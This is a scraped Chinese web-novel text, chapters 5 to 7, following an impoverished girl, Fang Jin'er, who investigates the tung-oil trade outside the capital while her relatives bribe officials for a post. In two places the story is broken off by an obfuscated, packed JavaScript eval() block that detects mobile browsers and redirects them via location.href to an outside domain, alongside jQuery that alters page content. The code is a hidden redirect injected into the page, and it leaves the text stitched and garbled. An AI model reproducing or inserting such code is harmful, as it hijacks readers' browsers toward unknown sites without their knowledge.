所谓商市,其实便是大安坊中心的几条巷口汇聚之处,因着位置好,再加上街道宽敞,行车通畅,茶坊酒肆多开在附近,人来得多了,面馆食摊儿便跟着春笋似地冒,售卖各类穿戴用度、纸笔药材等铺子也就逐渐一应俱全了。 此时正值日央,乃是穷人家女娘们饭后采买、富人家贵姐儿们休闲消遣的时候。房锦儿三人瘦削,混在熙熙攘攘的人群之中,倒也不甚引人注意,反而行得十分自在。 房锦儿窝着手心,手心里盛着铜钱,小锦云还不及房锦儿腰高,两手坠在她胳膊上,一蹦一跳地吵着要看铜板,房锦儿便只好猫着腰走,把手心伸到她眼前。 姐妹俩一个“哇,哇”地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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流言这东西就像野草种子,随手往土里一撒,只消不经意间一场小雨,随时便能冒出芽来。 “这便是我要你们穿旧衣出门的缘故了,”她道,“你想想,谁会真与三个小乞儿计较呢。” 说话间,三人正好行至一溜食肆饭铺门前,见有几家门上挂着’招工’的牌子,房锦儿便进去打听。一问,要么是只需能扛货的青壮,要么需得有庖厨的经验,还有一家一见她那副脏兮兮的模样,抬手便将人推搡出来。 两小只气得冲过去挡在她面前,逸哥儿甚至扬起了拳头。 房锦儿倒是不在意,她本也没真想去食店里头做帮工,赚太少。但见两个小的与阿姐情深,心中还是有些感触,干脆一左一右牵了,道:“罢了,咱们去那边的百货摊子上瞧瞧。” 百货摊子不止一家,十来家连成一条,卖的是些日用杂货,从针线瓦罐到澡豆绒花皆有,大都是从作坊挑进城来卖的,东西品式繁杂,每种数量却不多。 房锦儿捡着感兴趣的挨个问价,一边在心中盘算着利润和本钱,一边观摩着摊贩的表情,猜着利润大的,便张口一通还价,试探那底价究竟如何。 还到后头,几个摊贩皆不乐意了,轰她道:“我说你这小乞儿到底买是不买?不买休来捣乱,小心我揍你,走走走,赶紧一边儿去!” 房锦儿把货丢回摊上:“不买。”拉着锦云和逸哥儿要走。 正在这时,忽听有人叫道:“来了来了!总算来了!” 房锦儿循声去望,见是个包着青布头巾的中年货郎,脚穿布鞋,背一个木头货箱,口中笑嘻嘻说着“莫急莫急、都有都有”,身后还跟着几个摩拳擦掌的半大俊哥儿,像是迫不及待要买货。 房锦儿来了兴致,跟上前去准备看看他售的是什么好东西。哪知背后突然有人撞来,房锦儿一时没稳住,手里的十几枚铜钱“哗啦”撒了一地。 5. 第 5 章 “实在对不住啊。” 绿衣书生背上背着细竹编成的书箱,弯腰趴在地上,从来来往往的人群脚下给房锦儿捡钱。他急着买东西,书箱不慎撞到了人。 铜板骨碌碌滚得四散,书生外加房锦儿姐弟三人狼狈地捡了好一阵,才总算凑齐了数。那书生脸上红一阵白一阵,连连作揖道歉。 房锦儿赶着要去看货郎,无心计较,吹着铜钱上的灰,只道:“算了,郎君以后行路仔细些。” 哪知对方却忽然意外道:“你,你是方才在脚店卜中一道的那个小娘子?” 房锦儿这才抬头看他。 只见他身材清瘦,背上背的是个旧书箱,开合之处的竹子磨成了光亮的黄,一身直裰绿衣洗得发白,靴上也打了补丁。看衣着样貌,境遇大抵比她强不到哪去。 房锦儿不记得先前的看客中有这么一号人,道:“郎君看见了?” 那书生眼中喜色难掩,点起头来,道:“有幸见识小娘子奇才,真可谓神乎其神!娘子话音方落,那茶博士便应声而跌,简直绝了!” 他说着便去解腰上的钱袋,急急道:“不知我与小娘子路遇二回算不算得上缘分?可否赏脸为我卜上一道?就卜学业!” 原是要请她卜卦。 书生一双凤眼亮极了,衬得旧衣都鲜艳不少。学业二字说得有些激动,眼神坚信不疑,仿佛只要房锦儿开口算他一卦,他明日便能金榜题名。 房锦儿眨眨眼,有些不知当应不当应。逸哥儿也投来个担忧的眼神。 先前那“卦”是怎么算出来的她心中最清楚,那可算不得真正的卜卦,应当算是运气好。运气这东西,好一回,还能好二回? 可若直接拒绝,又未免太显突兀,传出去,只怕坏了先前埋下的种子。 正举棋不定时,一旁的人群当中冒出个头来,朝这边大声唤道:“你这厮要是敢把钱用去抽马,误了买油,咱俩今夜温不了书,明日月考落选,你我一并回洛州老家去,我让你阿爹揍到你满地找牙!” 房锦儿循声望去,这才发现那青衣的货郎早已被围了个水泄不通,其中大多是书生模样的哥儿郎君,小则十二三岁,大则二十出头,人手拎个陶瓶。明明都该是那温文尔雅之人,此刻却如狼似虎,争先恐后地往那货郎跟前扑。 冒头出来喊人的那个更是被挤得面目青紫,手拎二瓶,两脚叉开死死把住一块地盘,脖子伸得有如棍长,仿佛每多一秒都是煎熬。 那书生咬牙跺了一跺脚,只好与房锦儿遗憾道:“今日碰上买油,实在不巧,但愿改日还能再见小娘子,到时我筹备重金,一定请小娘子卜算!” 说罢冲进人群之中,寻那同砚去了。 房锦儿和逸哥儿同时松了一口气,只有不明就里的小锦云嘟了嘟嘴,她还以为阿姐又能赚来十几文钱呢。她仰头,小手牵着阿姐摇了摇,道:“阿姐别气,咱有十二文,够吃好几日的了。” 殊不知姐弟三人的模样也被不远处,坐在驴车里的蕊娘收入眼中。 “娘子,东西都买好了,咱们走罢?大郎君一直催咱们。” 蕊娘点头,接过递上来的食盒与酒壶,关下了车帘。 - 青衣货郎的货卖得实在是好。房锦儿带着两个小的挤不进去,只好先坐在边儿上听买货的书生们说话,听了一阵,明白了个七七八八。 这货郎卖的是桐油,也就是专门用来点灯的油。 盛都城中本是惯用麻油点灯的,麻油既可燃灯又可食用,但价高,每斤约莫一百六十文。 打从新天子登基后,兴学重考,盛都城内外设立多家学馆书院,扩招生徒,士人应举无视门第,便涌入了大量出身贫寒的书生。 因着是扩招,馆内不予养士钱,这些书生便既要自负食宿,又要花钱采买书籍笔墨,轮到买油点灯时,囊中早已羞涩,只能偶尔打上一瓶,实在没钱,便借着月光,艰难诵书。 于是不知何时起,城中便来了这样的卖油郎,卖起桐油。 相较芝麻油,桐油不可食用,气味重,烟也大,却胜在价钱便宜一半不止,只要七十文一斤,自然合了读书人的需求。一整夜点灯不过十文钱,再省着些,一斤油能用十来天! 又因着这桐油只有读书人爱用,寻常油铺鲜有售卖,即便有卖,每斤也比货郎手中贵出十几文。 故此,这货郎的油抢手得紧,每回一来便售个精光,来晚些兴许都买不到。 “哼,我在庆州老家时也用这桐油,价钱不过三十一二文,怎地到了这盛都城里,便涨到七十文了?” 房锦儿一边看那货郎喜滋滋地拿漏斗给人量油,一边听个拎着油瓶从人群里狼狈挤出来的书生道。 “你胡言的罢,”那书生身旁跟着两个同砚,也各提着一满瓶油,同砚甲闻言拎起瓶子,放到眼前看了看,“我怎就没见过三十文一斤的桐油。你见过么?” “没有。”同砚乙摇头,“你确信是和这一模一样的?” “我骗你们作甚!”那书生拍胸道,“与你我手中的桐油丝毫不差!” 同砚甲想了一会,道:“那兴许是这桐油产自庆州附近,要运到盛都,路上所费不赀,价钱也就跟着涨高?” 另两人点头:“确有这可能。”三人便提着油走远了。 庆州只卖三十一二文,盛都城中却最低也要七十文? 这话听在旁人耳中,或许只是奇怪,拿地界不同、价钱不同也就解释了。可听在房锦儿耳中,却立时成了个绝佳的商机。 商者,唯利是也。庆州的油商不会做亏本的买卖,三十文钱便有利可图,岂不是说明,卖七十文,则利润至少翻倍? 这想法如投石入湖,瞬间在她眼里激起一层晶亮的波澜。 她抬眼去看那货郎,只见他穿的是双黑面布鞋,鞋面尚不算旧,可鞋底已经磨得厉害,即便不抬脚,也能自边缘看出底下定是沾了大片尚未干涸的黄泥。 鞋底磨损带泥,说明行路颇多且是山路,泥水未干,则说明是今日新鲜沾上。 这桐油产自何处她尚不清楚,但庆州距离盛都千里,绝不可能当日徒步往返。 也便是说,若桐油是商贩自庆州运至盛都售卖,定会运进城来分销,不需货郎们奔走。而若这货郎是自个行了远路背油来售,就恰恰说明,离盛都不远处,定有油庄! 房锦儿随手拉住个买完油的书生:“请问郎君,这位卖油郎是每日都来么?不巧今日没带足钱,不知明日可还能买?” 那书生起先被吓了一跳,后听闻她也要买油,便和善道:“能买,他每日都来此处,只不过要来早些,晚了就卖空了。” 房锦儿又道:“那请问郎君,几时来好?” 书生道:“依我所知,他惯在未正、未末之间来,偶也会提前。小娘子还是未初就来等着更稳妥些。” 房锦儿点头称是,笑着道:“谢过郎君。” 逸哥儿从问话起就一错不错地盯着房锦儿,这会忽然看出了点门道,心中闪过个念头——方才在脚店,他阿姐要上前给茶博士卜算时,也是这幅笑模样! 他隐隐约约觉得有些不安,生怕阿姐再做什么意料之外的事,下意识紧紧牵住了姐妹两人。 怎料房锦儿除了面上多了一丝兴奋之外,并未再有什么奇怪的举动,她静静地又等了一阵,等到那货郎卖光了油,这才拉着两小只挤上前去,往那空空如也的油坛里瞄了瞄。 “卖空了卖空了!”货郎挥手,“想要油明日再来。” 众人闻言而散,既有抱怨来晚了的,亦有不满油贵的。那货郎冲着几个嫌油贵的书生背影啐了一口,道:“穷酸样,有本事买麻油去!你爹老子的油给你省了百来文,还不知足!” 说罢,乐陶陶地坐下来点钱。就这不到半个时辰的功夫,碎银铜钱已经装了满满三小包,他点了一会,忽觉不对,抬起头来,发现面前还杵着三个脏兮兮的小乞儿。半大的那个正目不转睛看他货箱,另个最小的还眼巴巴盯着他的银两! 木头货箱里是两个固定在箱底的油坛,坛中盛桐油,箱绳又用犊皮加了宽。除了油坛和量油的斗,还有个巴掌大的竹簸篮,和一块略显粗糙的小木牌。 货郎怒斥一声,挥手道:“做甚!快滚开,你们想偷东西不成!” 房锦儿不怒反笑,朝他掂了掂手里的铜钱,道:“不偷,我有钱。瞧你那木牌怪好看的,看不懂,上头写的什么?” 那木牌二指宽、一指长,上头写着三个字,然皆被簸篮挡了去,房锦儿看不清。 货郎瞧她没有恶意,弱得像根草似的,谅也不敢动什么手脚,遂放下了些戒备,火速收起那木牌,道:“金光门的路引,有什么好看。” “那 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“我想明日出城看看,兴许能找到卖桐油的油庄。若我回来晚了,你跟锦云两个自个儿煮米粥吃,钱藏好,有事就去寻湘娘子帮忙。”房锦儿吃着胡饼,喝完最后一口汤。 城门卯时开,货郎未时来。 也便是说,产油的地方距离盛都城,往返不会超过四个时辰,但也不会少于一个时辰,否则货郎不必带上一块蒸饼作干粮。 加上那块金光门的路引牌子—— 出金光门,行至多两个时辰之处。 房锦儿在心里默默盘算好路线,换上那身半新不旧的好衣裳,早早躺上了草垫子,又拿旧衣作被。小锦云轻轻爬过来抱住她,她把旧衣给锦云匀了匀。 屋里点着几根柴禾,睡觉已经不似原先那么冷了。 - 另一边,房老二的长子房进名乘着驴车返家,进屋便是一脸愁色。 妻子蕊娘从车上下来,接过丫鬟递来的几个食盒,又自个拿下几只白玉酒壶。 “真是糟蹋钱哟!”房老太左氏急得敲腿,一边把这些个好酒好菜往堂屋里的饭桌上搬,一边责怪儿子儿媳浪费银子,“怎不打听好了再买!” 自打上回被房锦儿“假死”一激,房家忧心次子捐官之事受牵连,已经连着三天想用送酒菜的法子给巡检司的孙司正送钱。哪知是回回送,那孙司正回回不在衙门,酒菜交子拿出去又拿回来,花钱不说,还折腾死个人。 房老二也道:“要不咱们就先打住,等孙司正自个来找咱们?我赶明儿再去找找茂昌,请他去寻李大掌柜,总能办成的嘛!” “等等等,再等下去黄花菜都凉了!等到房锦儿那小女娘缓过劲来,去衙门告咱们一桩,我看谁还有本事给利哥儿捐官!” 夏氏把菜碟子往桌上一扔:“不吃了!我还不是为了利哥儿,为了这个家,怎地倒怪起我来了!” 听见提及房锦儿的名字,蕊娘送菜的手微微一顿。 左氏晓得儿媳的脾气,撇了撇嘴不再多说,房老二便去哄媳妇:“谁怪你了,咱家不都听你的么,这点酒菜才几个钱,多买他十日咱也买得起。大不了明日我亲自去送,好不好?” 房进名也道:“就是阿娘,今个虽然没送进去,但我已经打听好了,明日日正,孙司正约了人去衙门谈公事,一准能找着!巡检司有个胥吏是我打点过的,到时我便让他直接送进廨房里,孙司正当着客人的面,断不好拒绝。” 蕊娘的丫鬟凑近她,嘀咕道:“明明是娘子花的钱,怎么成大郎君打点的了……” “怜晴。”蕊娘轻声提醒,怜晴闭上了嘴。 夏氏得了哄,心情转好些,又接着蕊娘手里的菜摆起桌来,道:“蕊娘莫要忙了,去寻一寻利哥儿,叫他回来吃饭。” 房家忙里忙外给次子房进利找差事,房进利却日日不着家,这会还不知在哪个酒楼歌馆里快活呢。 怜晴讶道:“二郎君不知在哪,娘子如何寻得着?” 夏氏道:“还能在哪?坊里一共几家喝酒的地儿?” 怜晴道:“那我去寻罢。” “你去?二郎君能听你一个小丫鬟的?你能叫得回他?” 眼见夏氏又要发作,房进名赶忙捅了捅蕊娘,蕊娘只好放下手中碗筷,道:“那我去了。” 6. 第 6 章 寅时七刻,天色未明,房锦儿已快行到金光门。 金光门开在盛都西城墙,素日多有往来城乡的贩夫走卒通行,她手中没有灯,但快步跟在几架点着火把的骡车后头,倒也不难走。 以房锦儿前世所知,这桐油产自油桐树的桐籽,易种、籽多,压榨起来也相对容易,乃是自古便有的油类之一。 作灯油的用法不常见,恐怕还是因为这朝天子兴学政策所致,更加广泛的用途,应还属工业、船舶与建筑,也不知这朝人民已经运用到什么程度。 房锦儿脚步飞快,越想越是兴致勃勃。 依她看,灯油肯定有得赚,而若是这朝人民尚未发现桐油的更多用法,那大的赚头还在后面呢。 出城没什么规矩,普通百姓抬脚走出去便是了,若非长得太过“瞩目”或是神情异常,或是近日有盗匪作案,守城的卒役兴许都不会看你一眼。 然房锦儿今日有些不巧,碰上四个带刀的黑衣巡检,守在城门两边挨个盘查。女娘、老弱,看着寻常的,只是拿眼睛逡上一逡,便放出去了,但若是身强力壮的、挑担子赶车的,就得挨拦下盘查一遭。 房锦儿无物一身轻,自然简简单单便被放了出去,听见后头的大娘嘀咕道:“这是怎地,出个城还盘查起来了?” 有人回应道:“听说是盛都外头出了人命,你瞧,巡检司并着街道司,城里城外都查得紧嘞。” 那人说着回首撅了撅嘴,示意城门那头还有穿红衣的卒役,与那黑衣的是一同来的。 在这朝,穿红衣的是街道司,专管城内街坊曲巷,而穿黑衣的则是巡检司,管治的便是城郊和官道,两司各负其责,如今这般合作,想也是有大案发生了。 出了金光门就一条向北的大道,房锦儿与同出来的几人行得不远,竖着耳朵听。 又有人道:“说是边境来的流寇入了城了。” “那哪能,”大娘道,“小郎君,可不要自个吓唬自个,咱这盛都城也是流寇敢来的地方?” 有人附和道:“没错,我看亦不能,定远大将军还在咱盛都城里呢。” 那人便道:“嘁,各位要不信,便当我胡说。” 一行人七嘴八舌,如此听了一会,便行到一条分叉路口,笔直的官道蜿蜒成双,一条依旧顺北而上,另一条便伸进山中去。 房锦儿愣在原地,眼瞧着一群人都顺北去了。那大娘走着走着忽见她停住,转头道:“小女娘不识得路?” 房锦儿点头笑笑,顺势道:“头回出城走亲戚,幼时去过,但时间太长,有些记不清了,只记得……” 她想着前世所知有限的油桐习性和模样。 “只记得那亲戚家是做菜油生意的,住在山丘上,顺着这金光门出来朝前走便能到,丘上种了许多绿叶白花的树,树上常结有青果子,很是枝繁叶茂。” 那大娘想了想,笑道:“绿叶白花的树,那可多了去了,但结青果子的,还真不晓得。” 随行几人皆如是说,问路无果,房锦儿决定先朝山中那条岔路去,总归时间还有,走错了还能再走回来嘛。 亦有人劝道:“外头都出人命了,山上恐怕不安全,小女娘要不还是回城里问清楚了再说。” 既已来了,自然没有回去的道理,房锦儿犹豫片刻,还是作别几人,独自上了山。 山路虽也是官道,但许是人迹稀少,年久失修,崎岖又坑洼不平,比起先头的大路着实难走了许多。 房锦儿这具身子尚未恢复完全,本身底子又差,走不多时便气喘吁吁起来,只好跟着林鸟寻了条两拃宽的小溪,坐下捧几捧水来喝。今日还不知要走到何时才能找到那桐油庄,带在怀中的剩胡饼她不敢吃,如此歇了片刻,便又起身赶路。 按那卖油郎出摊的时辰计算,桐油庄距离盛都至多走两个时辰。 房锦儿在空山之中行了不到一个时辰,本以为路途尚远,又想着半天不见一人,或许是走错了也不一定。正犹豫是否还要继续时,忽然听得一声牛吟,树丛中走出个放牛的老汉。 房锦儿先是一惊,待到看清,忙把人叫住,急急说要寻地方买些油。 怎知那老汉很是鄙夷地看她几眼,末了牛鞭子一收,吹胡子道:“你是要寻那个做油的作坊?往那头再走一刻钟,你看见便能晓得。” 房锦儿心中大喜,但又奇怪那老汉为何这般看她,待要细问,老汉已然赶着牛行远了。 房锦儿心说罢了,只要能找到桐油庄,那老汉便是骂她几句又何妨?她喘着粗气,兴冲冲朝着老汉所指又走一段,果然见到绿树白花之下掩着一排青砖瓦房,远看不觉多壮观,可沿着墙根行了好长一阵,竟丝毫不见院门开处。 待到终于寻到油庄正门,房锦儿突然明白了那老汉的眼神。 这桐油庄名唤“北氏桐油”,规模竟是比想象中大出几倍不止。只从外看,青砖乌瓦沿山而立,水磨石墨齐整有序,诸多工匠穿梭其中,盛油的木桶更是一车接一车往外运,还不知里头有多大。 也难怪那山道崎岖难走,空无一人,原是庄子的另一侧有通车大路,只不过不往盛都去,而是朝东通向河南道的莱州、沂州、密州等临海的州郡,这才不为盛都人所熟知。 房锦儿又惊又喜。 惊在这朝的桐油庄比想象中更加成熟,喜在当真被她猜中了不说,还头一回便找对了路。 她围着那庄子大门左右又绕了几圈,越看越喜欢,只觉心中按捺不住地激动,左右不见有人引路,便抓住个从庄里拉油出来的油匠郎君,润了润有些干涸的嘴唇,礼貌道:“头回造访,多有打扰,敢问郎君,贵庄买油当如何啊?” - 与此同时,另一边,房家藏了钱的食盒终是送进了巡检司的大门。 房进名看着买通的胥吏提了食盒进衙门,别提多高兴,搓着手朝蕊娘小跑而来:“嘿嘿,成了成了,这回指定没跑!” 怜晴没好气:“成了成了,这回总算不怕二郎君抢他的浆洗行了。” 蕊娘轻搡她一下,低声道:“不许这样说大郎君。” 怜晴不大服气地嘟了嘟嘴。 衙门里,巡检司司正孙堂和街道司司正牟万里刚刚聊完公事,五脏庙正开始闹饥荒呢,就收到了那食盒。 孙堂面色很是难看。 这几日两司并案,牟万里天天赖在他这儿不走,而他之所以百般推拒房家送来的食盒,一来是房家因为房锦儿的事情,名声实在不好听,二来就是不想让牟万里知道房家捐官的事儿,不想给牟万里分捐官钱。 本来嘛,房家求的是他,凭什么要白给牟万里。 所以他是想着,等案子弄完了,寻摸个人情往来的节骨眼,把人塞进街道司就完事了。 哪知这房家竟如此心急。 牟万里也不是个省油的灯:“孙兄啊,这房家送如此好酒好菜,是……?” 孙堂咬了咬牙,只得把房进利的事大致说了说。 牟万里一听,明白了,眼珠子滴溜溜转了几圈,摸胡子笑道:“那依孙兄看,我这个街道司司副的空职,大约值得几何呐?” 孙堂呵呵两声,心中吐血,一边盘算,一边把房家几口骂了个遍。 说二百贯罢,怕姓牟的嫌少,说五百贯罢,他舍不得,也怕姓牟的反生疑心。这关键是,他那一千贯都还没到手,他拿什么给? 牟万里看出他举棋不定,干脆笑道:“要不咱们先喝两盏?” 这酒是临江楼的好酒,临江楼乃是盛都最有名的酒楼之一,开在大安坊与安乐坊之间的清明渠上。 便是那“盛都有二宝,桥头临江一壶酒,太白池畔丽人眸”里的“临江酒”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878587|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 需得要有名贴、有银子才能买得到。 像牟万里、孙堂这样的九品官,也不敢说想进便进。房家能买到这盒子酒菜,托的还是蕊娘娘家的福。 牟万里一边从食盒里往外拿酒壶和菜碟,一边试探:“此事我当谢过孙兄才是,孙兄又何必拘束?不过,这房家出手便是临江楼,想必也是富贵人家了?还是孙兄有门道啊,难怪众人都说孙兄财大气粗……” 话里话外暗示钱不能少。 孙堂嘴上打着哈哈,心底暗骂贪得无厌,着手帮着取菜。哪知三层的食盒,取到最后一层时,竟见菜碟子底下压着一张万字柜坊的银钱。 牟万里眼疾手快,抢先抓了去,一看,竟是一千贯整! “夺少?!” 孙堂大惊失色。 他先是疑惑为何食盒中会有此物,然一拍脑袋,只觉五雷轰顶—— 房家并不知牟万里也在此处,故不可能给姓牟的送钱,那唯一的解释便是,自觉名声不好,怕他反悔,想用这蠢办法逼他收银子! 难怪他愈拒绝,食盒送得愈勤快。 真是蠢材,蠢笨至极!! 他赶忙伸手去捉那银钱,却被牟万里“嗖”地抽了回去。 牟万里陡然喜笑颜开:“哎呀孙兄,好呀!这房二郎实在太客气了!好,好好好!既是如此,我定不能错过孙兄一番好意!” 这便是不打算让出来了,好个恬不知耻! 孙堂气得脸绿如藻,几乎要昏厥过去。 可事已至此,他也不能跟牟万里明抢,毕竟那空职是人家衙门里的,撕破了脸,他可就连半分人情都捞不着了。 那姓牟的也不只是真看不懂他的面色还是装看不懂,只顾道:“司副的事,就如此定了罢!孙兄只管通知他明日来点卯,其余交我便是!” 还说什么“多谢孙兄帮衬”,“以后发财千万莫忘带上我”。 暗指孙堂恐怕也收了不少。 好在为官也有几年,孙堂勉力咬碎了后槽牙,这才没至于当场丢了身份,只能呕血道:“该我请牟兄多多关照才是。” 而后恨恨把这笔账记在了房家头上。 - “四十文一斤?买得越多价钱越低?” “正是。” “多少算多?能低至几何?” “这就要跟我家东家去谈了,我做不了主。” 方才那油匠郎君引着房锦儿找到了个管事的白衣伙计。 伙计手上拿本薄子,一边勾勾画画,指挥油匠们拉车运油,一边抽空应付她。 粗粗看去,油庄里像他这样身着白色的伙计还有许多个,个个都很是忙碌。 房锦儿手头没钱,多问暂且无用。 四十文一斤的价钱虽不如想象中的便宜,甚至比那书生口中的庆州油价还要高,但对比卖油郎七十文一斤的售价,中间足有三十文利润,几乎翻倍,已是相当可观。 一斤赚三十,日售十斤,便是三百。 破落院小屋一个月的赁房钱! 她决定今日先到此为止:“那便不叨扰郎君了,多谢,我改日再……” 那伙计甚至来不及答应,点着头便走开了。待到房锦儿想起应当问问他叫什么名字,唤了一声,发现对方已经融进了那些个白衣之间,认不出是哪个了。 回城一路,腿脚虽疲,房锦儿却走得十分轻快,几乎是不知不觉之间便来到了城门口。 巡检司和街道司的人还在盘查,进城也比出城更加严些。 因着路途比想象中短了许多,进了城门,也不过刚到巳初。房锦儿暂不准备回家,她想了一路,这桐油生意利大,她喜欢,做定了,可本钱上哪去找? 她想到了昨日碰见的那个青衣书生。 他不是要算卦么,要不就去给他算上一卦? 7. 第 7 章 还没到卖油货郎出摊的时辰,房锦儿决定先去附近的学馆书院寻一寻。 找了个面善的书生小郎君打听了一下,得知大安坊近处的学馆共有五家。两家在城内,三家在城郊,安化门外。 “那这五家学馆当中,有否哪家是专收贫寒子弟的?” 房锦儿想起那绿衣书生衣服洗得发白,鞋上又打着补丁,猜想他定不是出自富贵人家。 小郎君笑道:“娘子应当问,如今哪家书馆招收的不是贫寒子弟?” 原是自打科举盛行,学馆书院纷纷扩招,读书入仕便早已不再为权贵所把持,选士不论家世,只要品行端正,一律可以考试入学,成为生徒。 而各学馆内,也不以出身论品学,而是施行四舍制,以考选将学生分作四等,行选察升补之法,旨在让更多有志之士得到取中的机会。 可这样一来,房锦儿想寻人就难了。 她打算先从城里的两家书馆找起。 第一家唤作明经书馆,开在西二大街,大安坊与明昌坊的交界处,是家声名在外的老牌书院,占地颇大。里头祠堂书楼,花园假山,白墙黑瓦,据说住在学馆的内舍生便有近二百,走读的外舍生更是四五百人不止。 房锦儿沿着校外的廊檐转了几圈,想进去,被值守的门子拦住,只得在外头守株待兔似地等了一阵,却不见几人出来,一问,才知马上要到月考。 这月考关系到四舍升补,成绩好的外舍生或可得到免费住校资格,成绩不好的内舍生亦可降为走读,即便是内外舍生中,也有上、中之分,其间师资好坏不一。 总之不仅影响到未来科举,也牵扯到读书的花费,故而学子们人人重视,每逢月考期间,大都埋头复习,不到万不得已不出门。 明经书馆没蹲到,房锦儿转头又去了另一家石泉书院。 去的路上便料想闲人不多,去到之后,果然如此。且这家书院规模不及明经书馆的五分之一,人便显得更发少了。 房锦儿逮住寥寥几个出来的书生,描绘着那人的面貌问了问,皆说不知。 房锦儿心中惋惜,心说早知道昨天便管它三七二十一,先把这笔冤枉钱赚到手。 现在上哪再找个迷信的冤大头? 摸完两家书馆,已是未中,房锦儿走了大半天的路,脚底就没停过,此时也累得不行了,腹中咕咕作响。 她想了想,再出一次城恐怕是不行了,干脆提脚走到那卖油货郎的小摊儿去。 货郎已经背来了油。 房锦儿在他对过寻了个的铺门,往人家门槛边儿上一坐,掏出坏里的剩胡饼啃起来。一边啃,一边看那油郎做生意,顺便守株待兔找那绿衣郎君。 今个书生们忙着温习,生意比昨日差了不少,但也足够好了。 房锦儿拿眼睛数着,在心里默默算他卖出去的量——一铜角是一合,十角便是一升,买一升多送一丁点儿。 而书生们拎来打油的大多是陶瓶,一瓶能装一升,也有瓶小的,装半升。 六成书生按升买,三成书生只买半升,还有剩下一成,是只买够一、二天的用量。 房锦儿这头看得入迷,对面的油郎透过人群也注意到了她。 起初只是奇怪,为何那小女娘一个劲盯着他看,后来越看越觉眼熟,一想,这不就是昨日问他路引的那个小叫花子么! 油郎皱了皱眉头,冲房锦儿做了个口型:“看甚么看!” 无奈房锦儿心思都放在打油的顾客身上,丝毫没看见他这番举动。油郎愈发不悦,偏身挡了挡怀中的钱袋子,打算等卖完油再去质问。 然等他卖完,房锦儿已经拍拍屁股走了,回家的路上把剩下的十文赏钱买了两升黍米,拿给进逸和锦云做米粥。 - 第二日一早,房锦儿又出了门,不过不是独自一人,而是带上了进逸和锦云。 两小只昨日没能跟阿姐出去,遗憾得很,今个能跟出门了,模样很是兴奋。 锦云想的是赚了钱能买什么吃食,逸哥儿则更关心房锦儿所说的桐油利润,一路上念念叨叨地掰着指头算:“一斤油,三十文,两斤油,六十文,三斤油,三斤油……” “三斤油乘三。”房锦儿忍不住提示。 “什么叫乘三?”逸哥儿不懂,拧着眉问她,他之前只学过增合相减。 房锦儿试着解释:“唔……乘么,就是积,倍。譬如以二乘三得六,便是三的二倍,两个三相合。以此类推,三乘三得九,三乘四得十二……” “哦……”逸哥儿忙不迭跟着算。 房锦儿这次是准备去城外的三家书馆找一找,碰碰运气。 找得到那绿衣书生,她便大张旗鼓地给他算上一卦,顺便吸引吸引旁人,赚几个本钱。 若是今日再找不到,那她也打算好了。 便从五家书馆当中挑一家生徒最多的,当门一坐,打个“龙门点将,知命达官,仕途定数,仕运何方”的招牌,就地卜卦。 人少那便免费卜,待到人多了便收钱卜,大不了赚够了就跑,反正谁也记不住她。 为此,她还专门洗净了家中那块原本包胡饼的包袱蓝布,准备回头找仵作老丁借笔墨,写成招子用。 姐弟三人过了清明渠,出安化门,顺南而下。 与北边的金光门外不同,安化门外风景更加秀丽,官道沿山丘蜿蜒,道旁绿树成荫,流水涓涓,隐逸而不隐蔽,开阔与清幽并具,颇有文雅意境。 那三家书馆据说就修在这一片青翠之中。 - “大人,房家二郎,哦不,房司副到了。” “牟大人。” 房进利跟着个胥吏进了牟万里的廨房。 牟万里抬头将他打量一遭,只见房进利生得细高,长得也不差,街道司的红衣穿在他身上还显得有些威武,只是那睡眼惺忪的面庞上带着的不屑太明显,让人瞧着就不甚爽快。 牟万里挑了挑嘴角。 街道司他管了七年有余,上值第一天点卯便迟到的,他可还是头一回见。 “昨晚上喝醉了?” “回大人的话,喝醉了。”房进利语气吊儿郎当。 “头一回上值,你不怕起不来?” “起不来,那就不来。” 房进利满脸不在乎。 他本就不想当甚么街道司的差,苦死累活领那几贯钱的月奉,图什么?他酒楼里随便陪个小郎喝酒都比这挣得多! 要不是他娘一哭二闹要死要活,说为了这差事花光了家里的钱,他才不来这破地方。 他昨个为此跟夏氏吵了一顿,还挨了他爹一巴掌,这才跑出家门,赌气大喝一顿。 牟万里心里哼了一声,果然是有钱恣意。 他挥手冷声:“西市有个药房失窃的案子,说是贼人逃到了咱们大安坊,你去管,有什么事刘三儿会帮你。下去罢。” 刘三儿便是领他进来那个胥吏,房进利领命出了廨房。 这街道司里的人手大致分作三班,分别是胥吏,捕快和卒役。 胥吏管的事书文写簿的杂活儿,卒役又叫巡军使,驻扎在军巡铺,专管刑案走水这样的大事,由司正亲自调度。 捕快既要负责街道治安,又要负责坊内清洁,还得兼顾着沿街铺面摊子的管理和夜间巡逻打更,是最累的。 此时班房里就十几个值班的捕快,房进利拖着嗓音唤了一声,几个捕快陆续围拢过来听命。 房进利清清嗓子:“那什么,有个偷药的贼跑进咱们坊了,你们去给我抓回来。” 没人动。 几个捕快开始当着他面窃窃私语,房进利有些不悦,大声道:“去啊!” 没想到捕快们的嘀咕声更大了。 房进利横行霸道惯了,头一回遇到这种事,只觉面子被驳。捕快中忽然有人道:“敢问司副,那贼人的姓名可有?画像可有?何时进坊,被何人所见可有?没有这些我等如何捉拿。” 说话的正是房锦儿的邻居,吴顺。 胥吏刘三儿赶紧在房进利耳边提醒道:“房爷,牟大人早晨让人送去您廨房里的那卷东西呢?” 房进利这才想起好像是有那么回事,佯作镇定,挥手让刘三儿去取了来,正是那贼人的画像姓名。 画像有了,姓名也有了,房进利心想这下总该够了罢,哪知几个捕快还是一动不动。 吴顺道:“还请司副布置。” 